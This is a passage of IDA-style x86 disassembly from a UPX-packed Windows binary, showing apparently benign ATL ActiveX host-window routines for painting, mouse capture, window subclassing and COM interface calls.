push esi mov esi, [esp+8] or dword ptr [esi+6Ch], 1 push 0 push 1 push dword ptr [esi+38h] call dword_41D394 mov eax, [esi+38h] and dword ptr [esi+6Ch], 0FFFFFFF7h mov ecx, [eax] add esi, 48h push esi push offset dword_424324 push eax call dword ptr [ecx] xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- mov eax, [esp+4] or dword ptr [eax+6Ch], 2 xor eax, eax retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+0Ch] xor eax, eax cmp edx, eax jz short loc_403AF9 mov [edx], eax loc_403AF9: ; CODE XREF: UPX0:00403AF5j mov ecx, [ebp+10h] cmp ecx, eax jz short loc_403B02 mov [ecx], eax loc_403B02: ; CODE XREF: UPX0:00403AFEj cmp edx, eax jz loc_403C11 cmp ecx, eax jz loc_403C11 cmp [ebp+14h], eax jz loc_403C11 cmp [ebp+18h], eax jz loc_403C11 push ebx push esi mov esi, [ebp+8] lea ebx, [esi+3Ch] push edi cmp [ebx], eax jnz short loc_403B4B lea eax, [ebp+8] push eax call sub_4069AB mov eax, [ebp+8] push ebx add eax, 24h mov ecx, [eax] push offset dword_423C4C push eax call dword ptr [ecx] loc_403B4B: ; CODE XREF: UPX0:00403B2Fj lea edi, [esi+40h] cmp dword ptr [edi], 0 jnz short loc_403B6D lea eax, [ebp+8] push eax call sub_406A3F mov eax, [ebp+8] push edi add eax, 24h mov ecx, [eax] push offset dword_423C3C push eax call dword ptr [ecx] loc_403B6D: ; CODE XREF: UPX0:00403B51j mov eax, [ebx] mov ecx, [ebp+0Ch] mov [ecx], eax mov ebx, [ebx] test ebx, ebx jz short loc_403B80 mov eax, [ebx] push ebx call dword ptr [eax+4] loc_403B80: ; CODE XREF: UPX0:00403B78j mov eax, [edi] mov ecx, [ebp+10h] mov [ecx], eax mov edi, [edi] test edi, edi jz short loc_403B93 mov eax, [edi] push edi call dword ptr [eax+4] loc_403B93: ; CODE XREF: UPX0:00403B8Bj push dword ptr [ebp+14h] mov edi, dword_41D34C push dword ptr [esi-28h] call edi ; dword_41D34C push dword ptr [ebp+18h] push dword ptr [esi-28h] call edi ; dword_41D34C cmp dword ptr [esi+98h], 0 jnz short loc_403BD2 xor eax, eax mov [ebp-6], ax mov [ebp-4], ax push 1 lea eax, [ebp-8] push eax mov byte ptr [ebp-8], 0 call dword_41D350 ; CreateAcceleratorTableW mov [esi+98h], eax loc_403BD2: ; CODE XREF: UPX0:00403BB0j mov edi, [ebp+1Ch] mov dword ptr [edi], 14h mov eax, [esi+6Ch] shr eax, 2 and eax, 1 mov [edi+4], eax push dword ptr [esi-28h] call dword_41D33C ; GetParent mov [edi+8], eax mov eax, [esi+98h] mov [edi+0Ch], eax xor eax, eax cmp [esi+98h], eax setnz al mov [edi+10h], eax pop edi pop esi xor eax, eax pop ebx jmp short locret_403C16 ; --------------------------------------------------------------------------- loc_403C11: ; CODE XREF: UPX0:00403B04j ; UPX0:00403B0Cj ... mov eax, 80004003h locret_403C16: ; CODE XREF: UPX0:00403C0Fj leave retn 18h ; --------------------------------------------------------------------------- loc_403C1A: ; DATA XREF: UPX0:off_424BDCo mov eax, 80004001h retn 0Ch ; --------------------------------------------------------------------------- loc_403C22: ; DATA XREF: UPX0:00424094o mov eax, [esp+4] and dword ptr [eax+6Ch], 0FFFFFFFDh xor eax, eax retn 8 ; --------------------------------------------------------------------------- loc_403C2F: ; DATA XREF: UPX0:00424098o mov eax, [esp+4] and dword ptr [eax+6Ch], 0FFFFFFFEh mov ecx, [eax+48h] test ecx, ecx jz short loc_403C48 and dword ptr [eax+48h], 0 mov eax, [ecx] push ecx call dword ptr [eax+8] loc_403C48: ; CODE XREF: UPX0:00403C3Cj xor eax, eax retn 4 ; =============== S U B R O U T I N E ======================================= sub_403C4D proc near ; DATA XREF: UPX0:0042409Co ; UPX0:004240A0o ... mov eax, 80004001h retn 4 sub_403C4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403C55 proc near ; DATA XREF: UPX0:004240A4o var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi mov esi, [ebp+arg_4] test esi, esi jnz short loc_403C6A mov eax, 80004003h jmp short loc_403CC6 ; --------------------------------------------------------------------------- loc_403C6A: ; CODE XREF: sub_403C55+Cj push ebx push edi lea edi, [ebp+var_10] movsd movsd movsd movsd mov esi, [ebp+arg_0] mov edi, dword_41D300 lea eax, [ebp+var_10] push eax add esi, 0FFFFFFD8h push dword ptr [esi] call edi ; dword_41D300 test eax, eax jz short loc_403C93 lea eax, [ebp+var_8] push eax push dword ptr [esi] call edi ; dword_41D300 loc_403C93: ; CODE XREF: sub_403C55+34j push dword ptr [esi] call dword_41D33C ; GetParent mov ebx, eax test ebx, ebx jz short loc_403CB9 mov edi, dword_41D310 lea eax, [ebp+var_10] push eax push ebx call edi ; dword_41D310 test eax, eax jz short loc_403CB9 lea eax, [ebp+var_8] push eax push ebx call edi ; dword_41D310 loc_403CB9: ; CODE XREF: sub_403C55+4Aj ; sub_403C55+5Bj push esi lea eax, [ebp+var_10] call sub_401867 pop edi xor eax, eax pop ebx loc_403CC6: ; CODE XREF: sub_403C55+13j pop esi leave retn 8 sub_403C55 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] or dword ptr [esi+6Ch], 1 push edi push 0 push 1 push dword ptr [esi+38h] call dword_41D394 test byte ptr [esp+14h], 1 jz short loc_403D02 mov eax, [esi+38h] or dword ptr [esi+6Ch], 8 mov ecx, [eax] lea edi, [esi+48h] push edi push offset byte_424334 push eax call dword ptr [ecx] test eax, eax jge short loc_403D17 loc_403D02: ; CODE XREF: UPX0:00403CE7j mov eax, [esi+38h] and dword ptr [esi+6Ch], 0FFFFFFF7h mov ecx, [eax] lea edi, [esi+48h] push edi push offset dword_424324 push eax call dword ptr [ecx] loc_403D17: ; CODE XREF: UPX0:00403D00j mov edi, [edi] test edi, edi jz short loc_403D2B mov ecx, [edi] lea eax, [esi+88h] push eax push eax push edi call dword ptr [ecx+1Ch] loc_403D2B: ; CODE XREF: UPX0:00403D1Bj pop edi xor eax, eax pop esi retn 0Ch ; --------------------------------------------------------------------------- loc_403D32: ; DATA XREF: UPX0:004240ACo mov eax, [esp+4] and dword ptr [eax+6Ch], 0FFFFFFFEh mov ecx, [eax+48h] test ecx, ecx jz short loc_403D4B and dword ptr [eax+48h], 0 mov eax, [ecx] push ecx call dword ptr [eax+8] loc_403D4B: ; CODE XREF: UPX0:00403D3Fj xor eax, eax retn 8 ; =============== S U B R O U T I N E ======================================= sub_403D50 proc near ; DATA XREF: UPX0:004240B0o ; UPX0:004240F4o ... xor eax, eax retn 4 sub_403D50 endp ; --------------------------------------------------------------------------- loc_403D55: ; DATA XREF: UPX0:004240B4o mov eax, [esp+4] mov eax, [eax+9Ch] not eax and eax, 1 retn 4 ; --------------------------------------------------------------------------- loc_403D67: ; DATA XREF: UPX0:004240B8o mov eax, [esp+4] mov eax, [eax+6Ch] shr eax, 4 not eax and eax, 1 retn 4 ; --------------------------------------------------------------------------- loc_403D79: ; DATA XREF: UPX0:004240BCo cmp dword ptr [esp+8], 0 jz short loc_403D95 push esi mov esi, [esp+8] push dword ptr [esi-28h] call dword_41D32C ; SetCapture or dword ptr [esi+6Ch], 10h pop esi jmp short loc_403DA3 ; --------------------------------------------------------------------------- loc_403D95: ; CODE XREF: UPX0:00403D7Ej call dword_41D28C ; ReleaseCapture mov eax, [esp+4] and dword ptr [eax+6Ch], 0FFFFFFEFh loc_403DA3: ; CODE XREF: UPX0:00403D93j xor eax, eax retn 8 ; --------------------------------------------------------------------------- loc_403DA8: ; DATA XREF: UPX0:004240C0o mov eax, [esp+4] mov eax, [eax+6Ch] shr eax, 5 not eax and eax, 1 retn 4 ; --------------------------------------------------------------------------- loc_403DBA: ; DATA XREF: UPX0:004240C4o mov eax, [esp+4] mov ecx, [esp+8] shl ecx, 5 xor ecx, [eax+6Ch] and ecx, 20h xor [eax+6Ch], ecx xor eax, eax retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DD3 proc near ; DATA XREF: UPX0:004240C8o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = byte ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push esi mov esi, [ebp+arg_C] test esi, esi jnz short loc_403DEB mov eax, 80004003h jmp loc_403E9F ; --------------------------------------------------------------------------- loc_403DEB: ; CODE XREF: sub_403DD3+Cj push edi mov edi, [ebp+arg_0] cmp byte ptr [edi+30h], 0 jz short loc_403E04 push dword ptr [edi-28h] call dword_41D2DC ; GetDC mov [esi], eax test eax, eax jnz short loc_403E0E loc_403E04: ; CODE XREF: sub_403DD3+20j mov eax, 80004005h jmp loc_403E9E ; --------------------------------------------------------------------------- loc_403E0E: ; CODE XREF: sub_403DD3+2Fj test [ebp+arg_8], 1 mov byte ptr [edi+30h], 0 jnz loc_403E9C lea eax, [ebp+var_10] push eax push dword ptr [edi-28h] call dword_41D34C ; GetClientRect test [ebp+arg_8], 4 jz short loc_403E88 push ebx push dword ptr [esi] call dword_41D040 ; CreateCompatibleDC mov ebx, eax test ebx, ebx jz short loc_403E87 mov eax, [ebp+var_4] sub eax, [ebp+var_C] push eax mov eax, [ebp+var_8] sub eax, [ebp+var_10] push eax push dword ptr [esi] call dword_41D044 ; CreateCompatibleBitmap mov [ebp+arg_C], eax test eax, eax jz short loc_403E70 push eax push ebx call dword_41D03C ; SelectObject test eax, eax jnz short loc_403E79 push [ebp+arg_C] call dword_41D038 ; DeleteObject loc_403E70: ; CODE XREF: sub_403DD3+86j push ebx call dword_41D02C ; DeleteDC jmp short loc_403E87 ; --------------------------------------------------------------------------- loc_403E79: ; CODE XREF: sub_403DD3+92j push eax call dword_41D038 ; DeleteObject mov eax, [esi] mov [edi+2Ch], eax mov [esi], ebx loc_403E87: ; CODE XREF: sub_403DD3+69j ; sub_403DD3+A4j pop ebx loc_403E88: ; CODE XREF: sub_403DD3+5Aj test [ebp+arg_8], 2 jz short loc_403E9C push 6 lea eax, [ebp+var_10] push eax push dword ptr [esi] call dword_41D324 ; FillRect loc_403E9C: ; CODE XREF: sub_403DD3+43j ; sub_403DD3+B9j xor eax, eax loc_403E9E: ; CODE XREF: sub_403DD3+36j pop edi loc_403E9F: ; CODE XREF: sub_403DD3+13j pop esi leave retn 10h sub_403DD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403EA4 proc near ; DATA XREF: UPX0:004240CCo var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi mov esi, [ebp+arg_0] cmp dword ptr [esi+2Ch], 0 mov byte ptr [esi+30h], 1 jz short loc_403EFC lea eax, [ebp+var_10] push eax push dword ptr [esi-28h] call dword_41D34C ; GetClientRect mov eax, [ebp+var_4] sub eax, [ebp+var_C] push 0CC0020h push 0 push 0 push [ebp+arg_4] push eax mov eax, [ebp+var_8] sub eax, [ebp+var_10] push eax push [ebp+var_C] push [ebp+var_10] push dword ptr [esi+2Ch] call dword_41D028 ; BitBlt push [ebp+arg_4] call dword_41D02C ; DeleteDC mov eax, [esi+2Ch] jmp short loc_403EFF ; --------------------------------------------------------------------------- loc_403EFC: ; CODE XREF: sub_403EA4+12j mov eax, [ebp+arg_4] loc_403EFF: ; CODE XREF: sub_403EA4+56j push eax push dword ptr [esi-28h] call dword_41D2BC ; ReleaseDC xor eax, eax pop esi leave retn 8 sub_403EA4 endp ; =============== S U B R O U T I N E ======================================= sub_403F10 proc near ; DATA XREF: UPX0:004240D0o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov eax, [esp+4+arg_0] push [esp+4+arg_4] push dword ptr [eax-28h] call dword_41D2D0 ; InvalidateRect xor eax, eax retn 0Ch sub_403F10 endp ; =============== S U B R O U T I N E ======================================= sub_403F2A proc near ; DATA XREF: UPX0:004240D4o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov eax, [esp+4+arg_0] push [esp+4+arg_4] push dword ptr [eax-28h] call dword_41D340 ; InvalidateRgn xor eax, eax retn 0Ch sub_403F2A endp ; =============== S U B R O U T I N E ======================================= sub_403F44 proc near ; DATA XREF: UPX0:004240D8o xor eax, eax retn 14h sub_403F44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403F49 proc near ; DATA XREF: UPX0:004240E0o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push [ebp+arg_C] mov eax, [ebp+arg_0] push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax-28h] push dword ptr [eax-0Ch] call dword_41D27C ; CallWindowProcW mov ecx, [ebp+arg_10] mov [ecx], eax xor eax, eax pop ebp retn 14h sub_403F49 endp ; =============== S U B R O U T I N E ======================================= sub_403F6F proc near ; DATA XREF: UPX0:004240FCo arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_4], 0 jnz short loc_403F7D mov eax, 80004003h jmp short locret_403F92 ; --------------------------------------------------------------------------- loc_403F7D: ; CODE XREF: sub_403F6F+5j push [esp+arg_4] mov eax, [esp+4+arg_0] mov eax, [eax+34h] mov ecx, [eax] push offset dword_423C1C push eax call dword ptr [ecx] locret_403F92: ; CODE XREF: sub_403F6F+Cj retn 8 sub_403F6F endp ; =============== S U B R O U T I N E ======================================= sub_403F95 proc near ; DATA XREF: UPX0:00424108o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] shl ecx, 5 xor ecx, [eax+68h] and ecx, 20h xor [eax+68h], ecx xor eax, eax retn 8 sub_403F95 endp ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_403FB7 proc near ; DATA XREF: UPX0:00424120o mov eax, 80004001h retn 14h sub_403FB7 endp ; =============== S U B R O U T I N E ======================================= sub_403FBF proc near ; DATA XREF: UPX0:00424124o push 0Ch mov eax, offset loc_41C542 call sub_40C4A0 mov eax, [ebp+10h] xor esi, esi cmp eax, esi jnz short loc_403FDE mov eax, 80004003h jmp loc_40405F ; --------------------------------------------------------------------------- loc_403FDE: ; CODE XREF: sub_403FBF+13j push 38h mov [eax], esi mov [ebp-18h], esi mov [ebp-4], esi call sub_40B45F pop ecx cmp eax, esi jz short loc_403FFB mov esi, eax call sub_404FD0 mov esi, eax loc_403FFB: ; CODE XREF: sub_403FBF+31j or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_40400E ; --------------------------------------------------------------------------- loc_404001: ; DATA XREF: UPX0:00427924o or dword ptr [ebp-4], 0FFFFFFFFh mov eax, offset loc_40400B retn ; --------------------------------------------------------------------------- loc_40400B: ; DATA XREF: sub_403FBF+46o mov esi, [ebp-18h] loc_40400E: ; CODE XREF: sub_403FBF+40j test esi, esi jnz short loc_404019 mov eax, 8007000Eh jmp short loc_40405F ; --------------------------------------------------------------------------- loc_404019: ; CODE XREF: sub_403FBF+51j mov eax, [ebp+8] mov ecx, [eax+2Ch] mov [ebp-14h], ecx lea ecx, [eax-34h] mov eax, [ecx] push 3 call dword ptr [eax+10h] push eax lea eax, [ebp-10h] push eax lea eax, [ebp-14h] push eax push esi call sub_406CDA mov edi, eax test edi, edi jl short loc_404054 push dword ptr [ebp+10h] mov eax, [esi] push offset dword_41EF34 push esi call dword ptr [eax] mov edi, eax test edi, edi jge short loc_40405D loc_404054: ; CODE XREF: sub_403FBF+80j mov eax, [esi] push 1 mov ecx, esi call dword ptr [eax+1Ch] loc_40405D: ; CODE XREF: sub_403FBF+93j mov eax, edi loc_40405F: ; CODE XREF: sub_403FBF+1Aj ; sub_403FBF+58j call sub_40C50C retn 0Ch sub_403FBF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404067 proc near ; DATA XREF: UPX0:00424128o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] shl ecx, 7 xor ecx, [eax+64h] and ecx, 80h xor [eax+64h], ecx xor eax, eax retn 8 sub_404067 endp ; =============== S U B R O U T I N E ======================================= sub_404083 proc near ; CODE XREF: UPX0:00402AB3p ; UPX0:00402C75p push 18h mov eax, offset loc_41C1DC call sub_40C46D mov ebx, ecx mov esi, [ebp+8] test esi, esi jnz short loc_40409F xor eax, eax jmp loc_40446F ; --------------------------------------------------------------------------- loc_40409F: ; CODE XREF: sub_404083+13j lea eax, [ebx+60h] mov [ebp-24h], eax cmp [eax], esi jz short loc_4040B4 mov edi, esi mov esi, eax call sub_4011B4 mov esi, edi loc_4040B4: ; CODE XREF: sub_404083+24j mov eax, [esi] and dword ptr [ebp-10h], 0 lea edi, [ebx+64h] push edi push offset dword_424344 push esi call dword ptr [eax] mov eax, [edi] test eax, eax jz loc_404429 mov ecx, [eax] lea esi, [ebx+0A0h] push esi push 1 push eax mov [ebp-20h], esi call dword ptr [ecx+58h] test dword ptr [esi], 20000h jz short loc_404129 mov eax, [ebx] mov ecx, ebx call dword ptr [eax+10h] xor esi, esi mov [ebp-18h], esi cmp eax, esi jz short loc_404108 mov ecx, [eax] lea edx, [ebp-18h] push edx push offset dword_423BEC push eax call dword ptr [ecx] loc_404108: ; CODE XREF: sub_404083+75j mov [ebp-4], esi mov eax, [edi] push dword ptr [ebp-18h] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-18h] cmp eax, esi jz short loc_40412B mov ecx, [eax] push eax call dword ptr [ecx+8] jmp short loc_40412B ; --------------------------------------------------------------------------- loc_404129: ; CODE XREF: sub_404083+65j xor esi, esi loc_40412B: ; CODE XREF: sub_404083+9Cj ; sub_404083+A4j cmp byte ptr [ebp+0Ch], 0 jnz loc_404216 mov eax, [edi] mov [ebp+0Ch], esi cmp eax, esi jz short loc_40414C mov ecx, [eax] lea edx, [ebp+0Ch] push edx push offset dword_424284 push eax call dword ptr [ecx] loc_40414C: ; CODE XREF: sub_404083+B9j mov dword ptr [ebp-4], 1 mov eax, [ebp+0Ch] cmp eax, esi jz short loc_404173 mov ecx, [eax] cmp [ebp+10h], esi jz short loc_40416A push dword ptr [ebp+10h] push eax call dword ptr [ecx+14h] jmp short loc_40416E ; --------------------------------------------------------------------------- loc_40416A: ; CODE XREF: sub_404083+DCj push eax call dword ptr [ecx+20h] loc_40416E: ; CODE XREF: sub_404083+E5j mov [ebp-10h], eax jmp short loc_4041BD ; --------------------------------------------------------------------------- loc_404173: ; CODE XREF: sub_404083+D5j cmp [ebp+10h], esi jz loc_404208 mov ecx, [edi] xor eax, eax mov [ebp-18h], eax cmp ecx, esi jz short loc_404198 mov eax, [ecx] lea edx, [ebp-18h] push edx push offset dword_424274 push ecx call dword ptr [eax] mov eax, [ebp-18h] loc_404198: ; CODE XREF: sub_404083+102j mov byte ptr [ebp-4], 2 cmp eax, esi jz short loc_4041AF push dword ptr [ebp+10h] mov ecx, [eax] push eax call dword ptr [ecx+14h] mov [ebp-10h], eax mov eax, [ebp-18h] loc_4041AF: ; CODE XREF: sub_404083+11Bj mov byte ptr [ebp-4], 1 cmp eax, esi jz short loc_4041BD mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4041BD: ; CODE XREF: sub_404083+EEj ; sub_404083+132j cmp [ebp-10h], esi jge short loc_404205 mov ebx, [ebp-20h] test dword ptr [ebx], 20000h jz short loc_4041D6 mov eax, [edi] mov ecx, [eax] push esi push eax call dword ptr [ecx+0Ch] loc_4041D6: ; CODE XREF: sub_404083+148j mov [ebx], esi mov eax, [edi] cmp eax, esi jz short loc_4041E6 mov [edi], esi mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4041E6: ; CODE XREF: sub_404083+159j mov ecx, [ebp-24h] mov eax, [ecx] cmp eax, esi jz short loc_4041F7 mov [ecx], esi mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4041F7: ; CODE XREF: sub_404083+16Aj or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp+0Ch] cmp eax, esi jmp loc_404464 ; --------------------------------------------------------------------------- loc_404205: ; CODE XREF: sub_404083+13Dj mov eax, [ebp+0Ch] loc_404208: ; CODE XREF: sub_404083+F3j or dword ptr [ebp-4], 0FFFFFFFFh cmp eax, esi jz short loc_404216 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_404216: ; CODE XREF: sub_404083+ACj ; sub_404083+18Bj mov eax, [ebp-20h] test dword ptr [eax], 20000h jnz short loc_404260 mov eax, [ebx] mov ecx, ebx call dword ptr [eax+10h] mov [ebp+0Ch], esi cmp eax, esi jz short loc_40423D mov ecx, [eax] lea edx, [ebp+0Ch] push edx push offset dword_423BEC push eax call dword ptr [ecx] loc_40423D: ; CODE XREF: sub_404083+1AAj mov dword ptr [ebp-4], 3 mov eax, [edi] push dword ptr [ebp+0Ch] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp+0Ch] cmp eax, esi jz short loc_404260 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_404260: ; CODE XREF: sub_404083+19Cj ; sub_404083+1D5j mov eax, [edi] mov [ebx+90h], esi mov ecx, [eax] lea esi, [ebx+70h] push esi push offset dword_424354 push eax call dword ptr [ecx] mov [ebp-10h], eax test eax, eax jge short loc_40429D mov eax, [edi] mov ecx, [eax] push esi push offset dword_424364 push eax call dword ptr [ecx] mov [ebp-10h], eax test eax, eax jl short loc_4042A9 mov dword ptr [ebx+90h], 3 jmp short loc_4042C7 ; --------------------------------------------------------------------------- loc_40429D: ; CODE XREF: sub_404083+1F8j mov dword ptr [ebx+90h], 7 jmp short loc_4042C7 ; --------------------------------------------------------------------------- loc_4042A9: ; CODE XREF: sub_404083+20Cj mov eax, [edi] mov ecx, [eax] push esi push offset dword_424374 push eax call dword ptr [ecx] mov [ebp-10h], eax test eax, eax jl short loc_4042C7 mov dword ptr [ebx+90h], 1 loc_4042C7: ; CODE XREF: sub_404083+218j ; sub_404083+224j ... mov eax, [ebx] mov ecx, ebx call dword ptr [eax+10h] and dword ptr [ebp-14h], 0 test eax, eax jz short loc_4042E4 mov ecx, [eax] lea edx, [ebp-14h] push edx push offset dword_423B3C push eax call dword ptr [ecx] loc_4042E4: ; CODE XREF: sub_404083+251j lea edx, [ebx+9Ch] mov dword ptr [ebp-4], 4 mov eax, [edi] mov ecx, [eax] push edx push dword ptr [ebp-14h] push eax call dword ptr [ecx+4Ch] mov esi, [esi] test esi, esi jz short loc_404310 push dword ptr [ebp-14h] mov eax, [esi] push 0 push 1 push esi call dword ptr [eax+1Ch] loc_404310: ; CODE XREF: sub_404083+27Ej mov edi, [edi] mov eax, [edi] push 0 push offset aAxwin ; "AXWIN" push edi call dword ptr [eax+14h] test dword ptr [ebx+0A0h], 400h jnz loc_404415 lea esi, [ebx+0B4h] push esi push dword ptr [ebx+4] call dword_41D34C ; GetClientRect mov eax, [ebx+0BCh] sub eax, [esi] lea edi, [ebx+0ACh] mov [edi], eax mov eax, [ebx+0C0h] sub eax, [ebx+0B8h] lea esi, [ebx+0A4h] mov [ebx+0B0h], eax call sub_404933 mov eax, [ebx+64h] mov ecx, [eax] lea edi, [ebx+0A4h] push edi push 1 push eax call dword ptr [ecx+44h] mov eax, [ebx+64h] mov ecx, [eax] push edi push 1 push eax call dword ptr [ecx+48h] lea esi, [ebx+0ACh] call sub_4048CA mov eax, [ebx+0ACh] lea esi, [ebx+0B4h] add eax, [esi] mov ecx, ebx mov [ebx+0BCh], eax mov eax, [ebx+0B0h] add eax, [ebx+0B8h] mov [ebx+0C0h], eax mov eax, [ebx] call dword ptr [eax+10h] xor edi, edi mov [ebp+10h], edi cmp eax, edi jz short loc_4043D9 mov ecx, [eax] lea edx, [ebp+10h] push edx push offset dword_423BEC push eax call dword ptr [ecx] loc_4043D9: ; CODE XREF: sub_404083+346j push esi mov byte ptr [ebp-4], 5 push dword ptr [ebx+4] mov eax, [ebx+64h] mov ecx, [eax] push edi push dword ptr [ebp+10h] push edi push 0FFFFFFFBh push eax call dword ptr [ecx+2Ch] push 507h push edi push edi push dword ptr [ebx+4] mov [ebp-10h], eax call dword_41D2B0 ; RedrawWindow mov byte ptr [ebp-4], 4 mov eax, [ebp+10h] cmp eax, edi jz short loc_404415 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_404415: ; CODE XREF: sub_404083+2A6j ; sub_404083+38Aj or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-14h] test eax, eax jz short loc_404426 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_404426: ; CODE XREF: sub_404083+39Bj mov esi, [ebp+8] loc_404429: ; CODE XREF: sub_404083+47j and dword ptr [ebp-1Ch], 0 lea ecx, [ebp-1Ch] push ecx push offset dword_423B8C mov dword ptr [ebp-4], 6 mov eax, [esi] push esi call dword ptr [eax] mov eax, [ebp-1Ch] test eax, eax jz short loc_40445E mov edi, [eax] mov esi, eax mov eax, [ebx] mov ecx, ebx add edi, 0Ch call dword ptr [eax+10h] push eax push esi call dword ptr [edi] mov eax, [ebp-1Ch] loc_40445E: ; CODE XREF: sub_404083+3C4j or dword ptr [ebp-4], 0FFFFFFFFh test eax, eax loc_404464: ; CODE XREF: sub_404083+17Dj jz short loc_40446C mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40446C: ; CODE XREF: sub_404083:loc_404464j mov eax, [ebp-10h] loc_40446F: ; CODE XREF: sub_404083+17j call sub_40C50C retn 0Ch sub_404083 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404477 proc near ; CODE XREF: UPX0:00402A9Fp ; UPX0:00402C14p mov eax, [esi] push edi push esi mov ecx, esi call dword ptr [eax+8] lea edi, [esi+8] call sub_4018DB pop edi test eax, eax jnz short loc_404491 loc_40448D: ; CODE XREF: sub_404477+28j xor eax, eax jmp short loc_4044AA ; --------------------------------------------------------------------------- loc_404491: ; CODE XREF: sub_404477+14j push dword ptr [esi+14h] push 0FFFFFFFCh push ebx call dword_41D2B4 ; SetWindowLongW test eax, eax jz short loc_40448D mov [esi+20h], eax xor eax, eax mov [esi+4], ebx inc eax loc_4044AA: ; CODE XREF: sub_404477+18j lea ecx, [esi+0C8h] shl eax, 4 xor eax, [ecx] and eax, 10h xor [ecx], eax retn sub_404477 endp ; =============== S U B R O U T I N E ======================================= sub_4044BB proc near ; CODE XREF: UPX0:00402A83p ; UPX0:00402ADFp ... test byte ptr [esi+0C8h], 10h jz short loc_4044FE push 0FFFFFFFCh push dword ptr [esi+4] call dword_41D2CC ; GetWindowLongW mov eax, [esi+20h] mov ecx, [esi+4] push eax push 0FFFFFFFCh push ecx call dword_41D2B4 ; SetWindowLongW test eax, eax jz short locret_404507 mov eax, dword_41D278 mov [esi+20h], eax mov eax, [esi+4] and dword ptr [esi+4], 0 test eax, eax jz short locret_404507 and dword ptr [esi+0C8h], 0FFFFFFEFh retn ; --------------------------------------------------------------------------- loc_4044FE: ; CODE XREF: sub_4044BB+7j push dword ptr [esi+4] call dword_41D304 ; DestroyWindow locret_404507: ; CODE XREF: sub_4044BB+26j ; sub_4044BB+39j retn sub_4044BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404508 proc near ; CODE XREF: sub_402032+3CCp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, eax cmp ebx, 4Eh ja short loc_404575 jz short loc_404571 cmp ebx, 2Bh jz short loc_40455A cmp ebx, 2Ch jz short loc_40454C cmp ebx, 2Dh jz short loc_404544 jbe loc_4045E7 cmp ebx, 2Fh jbe loc_4045E1 cmp ebx, 39h jnz loc_4045E7 mov eax, [esi+8] jmp loc_4045E3 ; --------------------------------------------------------------------------- loc_404544: ; CODE XREF: sub_404508+1Aj mov eax, [esi+0Ch] jmp loc_4045E3 ; --------------------------------------------------------------------------- loc_40454C: ; CODE XREF: sub_404508+15j cmp dword ptr [esi], 1 jz loc_4045E7 push dword ptr [esi+4] jmp short loc_4045D2 ; --------------------------------------------------------------------------- loc_40455A: ; CODE XREF: sub_404508+10j cmp dword ptr [esi], 1 jnz short loc_40456C push dword ptr [esi+14h] call dword_41D294 ; IsWindow test eax, eax jz short loc_4045E7 loc_40456C: ; CODE XREF: sub_404508+55j mov eax, [esi+14h] jmp short loc_4045E3 ; --------------------------------------------------------------------------- loc_404571: ; CODE XREF: sub_404508+Bj mov eax, [esi] jmp short loc_4045E3 ; --------------------------------------------------------------------------- loc_404575: ; CODE XREF: sub_404508+9j cmp ebx, 111h jz short loc_4045DD cmp ebx, 113h jbe short loc_4045E7 cmp ebx, 115h jbe short loc_4045E1 cmp ebx, 131h jbe short loc_4045E7 cmp ebx, 138h jbe short loc_4045E1 cmp ebx, 210h jnz short loc_4045E7 mov eax, [edi+18h] test eax, eax jz short loc_4045C1 push dword ptr [eax+0Ch] push dword ptr [eax+8] push dword ptr [eax+4] push dword ptr [edi+4] push dword ptr 